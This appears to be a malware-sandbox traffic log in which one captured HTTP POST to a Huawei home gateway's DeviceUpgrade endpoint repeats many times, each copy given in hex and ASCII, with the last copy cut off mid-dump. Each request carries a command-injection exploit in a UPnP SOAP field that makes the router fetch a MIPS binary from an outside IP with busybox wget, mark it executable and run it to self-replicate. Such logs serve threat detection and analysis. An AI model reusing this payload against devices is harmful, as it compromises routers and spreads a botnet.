              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 